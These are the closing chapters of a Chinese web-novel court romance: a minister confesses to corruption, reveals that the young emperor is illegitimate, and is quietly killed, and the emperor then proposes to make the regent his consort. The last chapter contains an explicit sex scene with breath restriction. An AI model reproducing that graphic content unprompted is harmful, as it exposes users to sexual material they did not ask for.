不知发生了什么事的李梓山,那伸长的食指还戳在少年面前,呈一派谴责之态。 这、这是?李梓山的手指蜷曲,听到巡抚开口颤抖道:“陛下恕罪,微臣有失远迎,实在是臣之过。” “扑通”一声,李梓山膝盖一软跪在了地上,房间里安静如死寂,他低着头只能看见宋南卿的鞋尖。 宋南卿缓步移到桌前,越过地上的三人,伸手摸了一把后方悬挂的弯弓射雁图,瞥了李梓山一眼,“真迹啊?”然后坐在正中间的方椅上。 巡抚推了李梓山一把,满眼都是怒气又不能发作。 要是早知道这二人是陛下和摄政王,他们今日就不会来李府!明明御驾被他派了人暗中拦截,一时半会儿到不了附近,那一行人的踪迹也一直有人向自己汇报,他这边的烂摊子还未收拾好,陛下怎么就已经到了,还不知不觉登门了呢? 一想到李梓山这个蠢货有可能暴露出了什么问题,巡抚就满头冷汗,他们的小动作被宋南卿尽收眼底。 反观郗文康,还是一副云淡风轻不为俗事所动的样子。 “回、回陛下,是真迹。”李梓山心中情绪翻滚,只能如实作答。 宋南卿看向坐在自己身旁的沈衡,笑道:“前阵子,有人也送了朕一幅射雁图,但看起来竟不如李大人这里的逼真。” 沈衡淡声道:“是真是假,对比一下便知。” “来人。” 魏进应声而来,手里拎着李梓山的那个建砖厂的逃亡小舅子,一左一右两块砖石摆放在桌上,表面看起来没有区别,但无论重量还是稳固性上都大相径庭。 宋南卿的眼睛像是能直直看透人心,“谁来跟朕解释一下,筑堤的砖石到底哪个是真。” 在场都是聪明人,事情发展到这个地步,不必多说,场上形势已经很明显,如果陛下没有十足的把握和证据,不可能把事情摆到明面上。李梓山看着自己的小舅子,脑里名为理智的弦断了。 “陛下…”李梓山颤颤巍巍开口,想解释什么,但被一直在旁边一言不发的郗文康截去了话头。 “这一切,都是臣的过失,臣甘愿受一切责罚。”郗文康两鬓已经有了白发,短短半年,就和宋南卿印象中的那个人有了翻天覆地的变化。 郗文康,可是不愿攀附权贵甘愿辞官的郗文康,是一身才华一生清正的郗文康。 宋南卿抬眼望着他,沉声道:“你何罪之有。” 隐蔽的内殿中,安静非常,只有相对的两个人。 郗文康脱去帽子跪于桌前,阳光洒在外面的地上。灰尘被一道光柱照得极为明显,在空中纷飞。他面对宋南卿,把他在浙江的所作所为一一阐述。 “臣收了李梓山送的礼,特许他开办规格手续不完善的砖厂,致使堤坝修建不稳,水流冲击倒塌,造成一方灾情,臣愿以死谢罪。” 好似早就想好了有事发的这一天,郗文康表现得很平静,连脱口而出的认罪的话也像早就排练了百遍,他跪在地上后背瘦削但依然直立,让宋南卿想起了母亲匣子里那一堆郗文康年轻时写的信。 年少时正直刚毅,被陛下误会就干脆辞官不问政事,这样一个前大半辈子都过得清贫之人,突然成了贪污受贿之徒,宋南卿心里觉得惋惜。 虽然私自看别人信件是一件不道德的事情,但从那些信中,他看到了郗文康的理想和抱负,平天下的豪情壮志,也看到了他的柔情似水,贴心关切。只是几十年过去,轻狂少年弹指老,两情相悦变成了天人永隔,终究物是人非,郗文康也不是那个郗文康了。 宋南卿不知为何,心中涌起一阵怒气,“以死谢罪?你知不知道因为河道损毁,大水害了多少人的性命,你有几条命,能给多少人赔罪?” 他不知道发生了什么,但看着郗文康这不痛不痒行尸走肉的样子,宋南卿就有种哀其不幸怒其不争的感觉,郗渐力压众人,是去年科举的状元,就这样满腹经纶的一个才子,大家也不过是说有他叔父郗文康年轻时的一半影子。年轻时的郗文康,他没见过,但从许多人口中听说。 启用郗文康,虽然一开始是为了和贾良对着干,但后面不管是修缮科举场所还是陵寝,他都出色完成了。 念着他和母亲的旧情,宋南卿给了他一些机会,但现在却是他自己亲手将豺狼放回山林,害了一方百姓,是他识人不清。 “如果我母亲在天有灵,看到你现在的样子,她一定不会后悔当初的决定。”宋南卿摇了摇头,起身就准备走。 已经没救了,已经不对自己的错误有半分歉意了,当初在信中写的匡扶天下的誓言,大概也早就忘了。宋南卿以为郗文康是真君子,没想到是坦坦荡荡的真小人。 郗文康听见他提起贾娴,面上表情终于有了波动,声音晦涩:“陛下知道我们的事,知道多少?” 宋南卿眼睛微抬,顿了顿语气不变,试探道:“我都知道。” 郗文康原本挺直的腰背突然垮了下来,衣摆下方沾染上了地上的灰尘,低落道:“她告诉你的?” 宋南卿心中思绪流转,背对着他轻言:“是。” “她没有错,是我错了,一切都是我的错,是我咎由自取,是我太过软弱。”一把年纪的郗文康突然激动起来,斑白的两鬓被泪水打湿,他喃喃道,“你的眼睛,真的很像她。” 宋南卿转过身看着他,“郗文康,说这话,你大逆不道了。” 郗文康突然笑起来,对上宋南卿的眼睛说:“陛下,你的存在,就已经是最大的大逆不道,不是吗?我有什么可怕的。” 宋南卿的心脏猛地一跳,鞋底在地上划出刺耳的一道声音。 “你说什么?”—— 作者有话说:换了个新封面! 第74章 第七十四章 卿卿看上哪个了? 当年贾娴听了贾良的话, 舍弃和郗文康的情谊,为家族荣耀和兄长的前途入宫。为了让郗文康别太惦念自己,能够迎娶公主过上幸福生活, 狠下心不再见他, 对他留下的只有一句:比起虚无缥缈的情谊,荣华富贵才是我真正想要的, 我们缘分已尽。” 郗文康写了无数封信, 去贾家门口敲了无数次门, 半路拦截贾良被贾家下人打过骂过,直到贾娴进宫都没能再见上一面。 一如宫门深似海, 从此萧郎是路人。 直到贾良犯了大错被关进狱中, 贾府岌岌可危,而贾娴又没有足够的话语权,要想救父兄家族于水火, 她慌乱间称自己怀了龙子。 皇帝大悦, 赦免贾家还给贾良晋了官职。 但这个龙子, 却另有来路。 知晓贾家事的郗文康一直在想办法营救, 这时贾娴终于肯跟他见一面, 就这一面。 谁想到,这被安排的一面里掺杂了暖情的酒催人的香。 “我一生有两件后悔的事, 一是让你母亲入宫做了妃子,二是那夜过后没有带你母亲私奔,让她又回了那深宫中去。” 郗文康低头道:“你知道吗?她给我做过一件衣裳, 亲手做的,那天晚上我穿了那件衣服去见她,她看起来过的并不好。我说,‘这就是你要的荣华富贵吗?’” “那是我们见的最后一面, 她生下你就被打入冷宫,没人能再和她见面。没有人知道为什么,我在想,是不是先帝发现你长得并不像他,所以才会如此。” “怪我,怪我当初真的信了贾良的鬼话,信了她真的比起我更爱荣华。”郗文康像是丢了魂,“贾良死后被抄家,那天我也在,我那天才看见娴儿没寄出去的那封告别信,我才知道,我才知道!” 宋南卿后退了几步,桌角抵在后腰上,硌得他发疼,但只有这种疼痛,才能让他确定,他面前的场景是真实的,他没有在做梦,郗文康和他都没有疯。 “母亲不爱荣华,你却因为荣华富贵鱼肉百姓,你们从始至终就不是一路人。”宋南卿努力稳住声音,思绪却已经飘到了远方。 郗文康苦笑点头,“有些事情一开始错了,往后就都是错的,我和你母亲是,收礼也是。” 贾娴给他做过的那身衣服,扣子极为独特,珍惜的琥珀石所做。在宫内迷情一夜后,衣服上那排扣子就丢了一个,正好是中间的位置,没有办法再穿出去了。 贾娴留给他的遗物,就这样变得不完整,就像他们之间的感情,在最明显的地方留下了最大的遗憾。十几年来,他一直在寻找一模一样的扣子,这已经成了一种执念,成了扎进他内心里陈年的一道刺。 李梓山在他初到浙江时,登门套近乎好多次,送来的东西他一次也没有收过,他郗文康一生清正,不管是做官还是为人,都不想搅和进是非之中。 但有一次,李梓山送来了一枚扣子,和那件衣服上的其他扣子完全一致的琥珀扣。 他收了。 就这枚独一无二的扣子,换了李梓山的砖厂获批。 当水坝决堤之后,郗文康觉得这是报应,他和贾娴的感情注定就是不能完整的,一枚扣子带来了无数灾难,他的人生就应该困在爱而不得里,无法挣脱。 当看到宋南卿的时候,郗文康最先感受到的是解脱。 他早就应该下去陪贾娴了,他要道歉,还有好多好多的话想说,早在几十年前,他就应该说的,他就应该追随自己的心意活一回的。被自己的儿子亲自送下去和爱人见面,这一生也算是圆满。 风吹过门外的树,绿色叶子垂下来簌簌作响。 后腰处的桌角戳的越来越深,身体上的疼痛让他的精神无比清醒,看着已经一脸从容赴死的郗文康,宋南卿觉得这个世界好荒谬。 “你以为装疯卖傻,就能让朕信了你的胡话吗?”宋南卿的靴子踩在地毯上,居高临下看着郗文康。 他当了十几年皇帝,受尽了皇宫内苑的苦和朝廷诡谲的谋,现在跟他扯什么他不是皇室血脉,是私通之子?到底是郗文康疯了还是他疯了。 郗文康抬起头,平生第一次那么大胆、那么认真地注视着眼前那双眼睛,他从中看到了过去,看到了故人,也看到了自己的结局。 “陛下,可会见风面部发烫,遇之灰尘更会红肿起癣?” 宋南卿瞳孔一缩。 “郗氏一族都有这风热病症,靠服用祖上传下来的冷丸方子才可控制,宛如常人。” “先帝自陛下之后,未再有子嗣,他在炼丹房整日食丹药,朱砂入体,早就没有生育能力,所以后面的妃子才会子嗣如此艰难。陛下若是不信,可以去看当时的炼丹房记载,那种计量的朱砂吃下去,没有人可以完好如初。” 宋南卿的手心出了冷汗,看向郗文康的表情逐渐变得肃穆。 “砰——”的一声,门口处传来动静。 宋南卿眼尾一扬,厉声斥道:“谁在那儿!” 半个墨色衣角露出,柱子后面的身影逐渐显形,沈衡从门口缓缓走入,面上还是一如既往的冷静。 宋南卿见是他,眼底原本的厉色收起,无意识松了口气,低声道:“你听见了,是吗?” 如同黑曜石般光亮的眼珠直直盯着他,沈衡背着手点头,身形修长宛如画中墨竹。 宋南卿的睫毛快速眨了几下,阳光打在侧脸上,卷起的睫毛下投出一排阴影。 他不知该做出什么反应,也不知道沈衡有何感想。他和沈衡不是兄弟,他甚至都不是先帝的孩子。 那这皇位,这可笑的皇位……他和沈衡这颠倒错乱的关系和身份… 沈衡握住少年的手臂朝自己身侧拉,靠近人脸侧道:“郗文康,留不得。” 宋南卿对上他的目光,那双熟悉的眼睛在阳光下泛着琥珀色,里面一如既往只有他一个人。 “卿卿是皇帝,你说什么是对的,什么就是对的。”沈衡眸色深深,里面的意味深重又带着诱哄和安抚。 他按着宋南卿的肩膀,把少年按在了大堂正中间的的太师椅上,二人一坐一立,头顶高悬着“天地君师”的牌匾。 宋南卿在坐稳椅子的一瞬间,就理解了沈衡的意思,看懂了他眼睛里的坚定。 外头风又起,吹得窗外的树枝乱颤,伸到窗户上方的枝蔓贴着墙壁疯狂摆动,叶子零散掉落在窗台上。 沈衡的手按在宋南卿的手背之上,传递着源源不断的热量。 他们两个又多了一个只有彼此知道的秘密,再一次成为了心照不宣的共犯。 第一次,是伪造圣旨。 这一次,是狸猫换太子。 谁在乎什么皇室血脉传承,天命所在,宋南卿反正不在乎。 沈衡只在乎这天下在不在宋南卿手上,至于血缘? 知道宋南卿不是先帝的儿子,他们两个高兴还来不及,总算摆脱了“血缘”的阴霾,谁担心这个位子该不该是宋南卿的,抓在手里的,就是自己的。 ———— 躺在沈衡的腿上,宋南卿抱着对方手有一下没一下玩,指尖从侧面摸着人手上的茧子,从指腹摸到手心,又圈住人指根轻轻旋转。 他眼睛亮亮的,翻了个身支起脑袋说:“明天就是母亲的祭日,先生陪我一起去,好不好?” 沈衡抬手摸了摸他的脑袋,说好。 “郗文康也葬在了那个墓园,离你母亲不太远的地方。” 浙江巡抚和李梓山都因为贪污受贿一事被斩首,郗渐被派去浙江,水患得到了有效治理。 郗文康终究还是死了,如果人死后真的有魂魄,大概已经与贾娴重逢,不过那么多年过去,也不知道贾娴会不会等等他。 宋南卿躺在人身上被硌的不舒服,抬手摘了头上的簪子扔在桌上,没想到这一下子,玉簪把桌上卷起来的画轴弄掉了,一幅幅画像从桌上铺开,都是漂亮年轻的女子。 沈衡眉头一皱,揽住宋南卿低头问:“什么东西?” 床架子随着他的动作一晃,发出“吱呀”一声。 宋南卿抿了抿唇,鼓起一边脸颊装可爱,无辜道:“内务府那边送来的……” 沈衡不吃他这一套,把少年鼓起的脸颊戳瘪下去,眸子一暗,看着他等待下文。 “哎呀,就是…”宋南卿从床上爬起来,伸长胳膊去够地上胡乱展开的画轴,又扔的更远了一些,嗫嚅又快速道,“那个皇后候选人的画像。” 房间里静了几秒,安静的吓人,沈衡冷笑一声,“有人是不想活了。” 宋南卿委屈看他,坐在床上哼了一声。 “没说你。”沈衡从背后把他搂入怀中,热气很快送入少年耳朵里,“告诉先生,卿卿看上哪个了?” 贴身的衣衫挡不住传递而来的体温,倚在男人的胸膛前,宋南卿忍不住瑟缩,但面上依然撑着不肯露怯。 旁边桌上放着一叠刚做好的杏仁酥,宋南卿不想自己拿,会弄脏了手,推了推沈衡的膝盖道:“喂我吃一个杏仁酥,就告诉你。”—— 作者有话说:我们皇后娘娘沈大人要来了《 》 【正文完结】 第75章 第七十五章(正文完) 做我…… 宋南卿歪歪躺在人身上, 宽宽大大的上衣很轻薄,最上方的一颗扣子被他蹭开了,露出一边锁骨窝。细细腰身在中间晃荡着, 侧躺的时候从腰到胯的衔接处落差很大, 线条流畅,下方衣摆朝上窜起, 露出一截又薄又韧的小腹。 他浑然不觉, 对着沈衡手里的杏仁酥张大了嘴巴, 因为对糕点太过专注,眼睛都睁圆了, 一截粉红小舌搭在牙齿上, 黑发半散在肩膀上轻晃。 香甜可口的杏仁酥被一点点喂进嘴里,沈衡摊开手掌在他下巴处接着掉落的碎屑,认真温柔的眼睛带着无奈的纵容。 “唔, 好好吃……”宋南卿咽下嘴里的东西, 湿红舌尖舔过嘴角, 望着人的脸定定看了几眼, 然后笑意荡漾开来, 抓住沈衡的手送到嘴边亲了一下。 “先生,我看这些人做皇后, 都没有你好。”狡黠生动的笑容明艳开朗,少年的眼睛灿若星辰,半仰着头靠在沈衡怀里, 那个轻吻的触感宛如一只蝴蝶停留在指尖,也停在了沈衡心尖。 “你是欠教训了。”沈衡拿指头点了点宋南卿的额头。 窗外飞过一只喜鹊,停在枝头叫个不停,宋南卿鼓起脸说:“我没有开玩笑, 加冠礼那日,为天地祖宗上香之时,我都那么告诉他们了,他们都同意了。” 封后大典一般都会跟在皇帝的加冠礼之后,那天晴空万里,他拉起沈衡,二人并肩立在祈福的殿中,听殿外百官磕头为他送上寿礼和祝福,香灰和经幡在空中扬起之时,宋南卿看见了燃烧的香在一明一暗。 “如果一定要立后才能算是顶天立地的好皇帝,那我心中唯一的皇后人选就是沈衡。”宋南卿在加冠礼上香之时面对祖宗的牌位在心里默默道,“他能文能武,外能征战沙场内能稳住朝廷局势,还会煲汤做小点心,上的厅堂下得厨房,我觉得世间找不出比他更厉害的皇后了,除了不能生孩子。” “我们有血亲,本来就不能生孩子,要是能生才是罪过呢!这一来他当皇后的理由又多了一个吧!”宋南卿把点燃的香插进香炉中,跪在软垫上拜倒,“他是世间最关心我的人,是我最喜欢的人,做皇后要识大体要贤惠要能稳住后宫,别说后宫了,前朝都是靠他稳起来的,我觉得沈衡有充分做皇后的理由,祖宗你们觉得呢?” 三根香稳稳插在香炉中飘出青烟,宋南卿扁了扁嘴,“如果你们同意的话,就给我点暗示,嗯明示也行!” 三加之礼完成,沈衡率百官拜倒,宋南卿唯独扶起了他的胳膊,立于香炉之前。 就在这时,一阵穿堂风吹过,香炉上燃烧的三根香暗了几瞬,后又燃起,这明暗交替的模样,不就是列祖列宗给他的暗示与明示吗? 宋南卿透过眼前的冠冕珠子,看见了沈衡头上帽子边缘镶嵌的东珠。 那是波斯国今年进贡来的珍品,说是赠与陛下与未来皇后,宋南卿头上的珠子和东珠都是,但沈衡并不知晓来历,只是觉得今日的礼帽太过华贵,不过摄政王嘛,用的东西奢靡一些又何妨。 宋南卿偏了偏头,让自己额前的珠链与沈衡帽子上的相撞,满意点头。 想必列祖列宗也很满意他和沈衡哥哥。 沈衡把擦完手的湿帕子丢回水盆中,挑眉问:“祖宗怎么同意的,托梦告诉你的?” 而且那是你祖宗吗?就问。 宋南卿嘴角翘起,哼了一声,“这是只有当了皇帝才会知道的秘密。” 话说到这儿,他突然想起一事,瞥了沈衡一眼,手指攥住他的衣袖道:“先生你有没有后悔过,当初让我做皇帝,你明明可以自己做。” 虽然他一直觉得当皇帝有许多不好不自由,危险丛生,但他确实是当了皇帝之后,才有逐渐把握自己人生的权力和力量,也能掌握生杀大权,不管实际情况如何,在面上,他比所有人都高一头,所有人都需要给他行礼。 沈衡嘴角掀起,问:“当然是因为你做皇帝对我来讲,利益最高。” “卿卿,不会真的把我当成什么无私奉献的人了吧。”他眯了眯眼睛,逐渐靠近少年的脸,在脸颊上掐了一把,“你猜老皇帝是怎么死的?” 宋南卿推着他的胳膊,脸颊肉被扯开口齿不清,“放开我,你是坏人!” 沈衡笑了一声,手指从软糯的嫩肉上撤离,“他临死之前说要把皇位传给我,弥补对长公主的歉意,知道你要登基,当即气得吐血三尺,含恨而终。” “我不做皇帝,是因为我不想,没有其他原因。” 宋南卿被掐红的脸颊又被罪魁祸首轻揉,湿漉漉的舌尖舔在那个红印子上来回打转。 “嗯…你先别……”少年喘了一声,推开他的肩膀,伸长手在床头掏了半天,在夹层里掏出一根木头簪子。 打磨光滑的簪子通体笔直,上头的形状有些粗糙,像是树枝一般朝左右支起。宋南卿捏着簪子塞到沈衡手里,小声说:“不想做皇帝,那做皇后好不好。” 沈衡低头端详着手里的木簪,指腹摸过上方打磨不够细致的地方,眼神缱绻。 “本来、我是想做梅花的!但是磨着磨着吧,那个、那个形状就不受我控制了,你要是不喜欢的话,我可以……” 宋南卿有点不好意思,毕竟这个簪子跟沈衡平常用的比起来,有点太不像样子了,他伸手想夺回来,但簪子却被反手收到了袖子里。 “喜欢,我很喜欢。”沈衡眼尾上扬,嘴角荡开淡淡的微笑,“足够锋利还能当随身武器,一举两得。” 宋南卿瞪着眼睛看他,拿脚踢了踢他的膝盖,“你是不是取笑我呢!” 沈衡握住他的小腿往自己身前拉,倾身含住少年翘起的粉红唇珠,湿热温柔的亲吻还有杏仁的醇香气味,饱满的唇瓣被他沿着边缘舔过,两条舌头交缠在一起,水声不断。 少年被捧着脸亲得神志不清,吞下口中不知是谁的口水,伸直胳膊挂在了沈衡脖子上收紧,二人的距离一缩再缩,直到他趴在沈衡身上,整个人的重量都压在上面,紧紧相贴。 “唔…所以你同意了,啊——是不是……”宋南卿被迫仰起头,密密麻麻的亲吻从下巴到喉结,他难耐的要死,被亲得打颤,但还是想得到那个肯定的答案。 沈衡一口咬住他的脸颊肉,手指捏住人后颈低声道:“你努力一点给我看看,满意的话就答应你。” 菱形格纹的镂空屏风挡住一半龙床上的风光,隔着半透明的蝴蝶花丛图隐隐约约可以看见后面的情景。 宋南卿的手指紧紧攥着床上的毯子用力支撑自己,膝盖跪在床上,腰部轻晃不断往后方送着自己的身体,含糊不清的呜咽声带着沉迷和挣扎,屏风的位置刚好挡住了他身后,只能看见少年一起一伏的身形。 他的声音逐渐升高,哭声渐渐明显,原本清亮的嗓子变得沙哑,“不…呜——!” 少年原本支撑身体的手肘突然脱力,整个人肩膀着地趴在了床上,一只手从后方伸出来抓住了他的长发提起,宋南卿顿时尖叫起来,口水一串串从嘴角滴落,整个人一震狂颤。 “这样才舒服,是吗?就不喜欢温柔的。”低沉磁性的声音从后方传来,宋南卿陷入迷幻之中没来得及回应,下一秒就被抓着头发一把按进了枕头里,蓬松柔软的枕头堵住了他的口鼻呼吸不畅,空气中响起了淅淅沥沥的水声。 “我问你舒不舒服?”沈衡捏着宋南卿的下巴朝后扭转,原本漂亮精致的一张脸已经变得乱七八糟,表情都控制不好,刚刚失去新鲜空气让他瞳孔上翻,他口里呜呜哇哇叫着破碎的音调,大口大口喘着气,看起来已经听不清人说话了。 沈衡啧了一声,手指挑开少年脸上散乱的长发,手背轻拍,“看着我,我是谁?” 宋南卿哭叫了一声,半回过神来,看向沈衡的脸叫道:“梓童……” 沈衡舔了下牙,点点头,屏风后的锦被掀起骇浪。 “呜啊啊夫君、夫君我错了…”宋南卿上气不接下气求饶,手指蜷缩不住在床上抓挠,又被控制住,生生被沈衡的手指插进指缝,十指相扣。 “叫我什么?”沈衡勾着他掌心问。 宋南卿的小腿不断抬起踢动又无力摔落,叠声道:“夫君,呜呜夫君——” 他被手指捏住下颌朝后转头,深深的吻落下来像是吻入他的灵魂深处,情意绵绵的湿吻像是淅淅沥沥的雨,他们二人身处其中谁都没有打伞,任由爱的雨水流淌在身上,打湿身体,也打湿灵魂,从头到脚把他们两个人包围。 从前叫不出口的称呼,说不出的话,表达不了的爱意,如今冲破了重重藩篱,两颗赤裸的心贴在一起,彼此再无任何障碍和嫌隙—— 作者有话说:正文完结了,谢谢大家一路的陪伴,没有你们陪着我度过连载,我也不能坚持那么久[玫瑰]爱你们!番外会更新的[玫瑰]然后希望大家如果有感兴趣的预收,可以点点收藏!《 》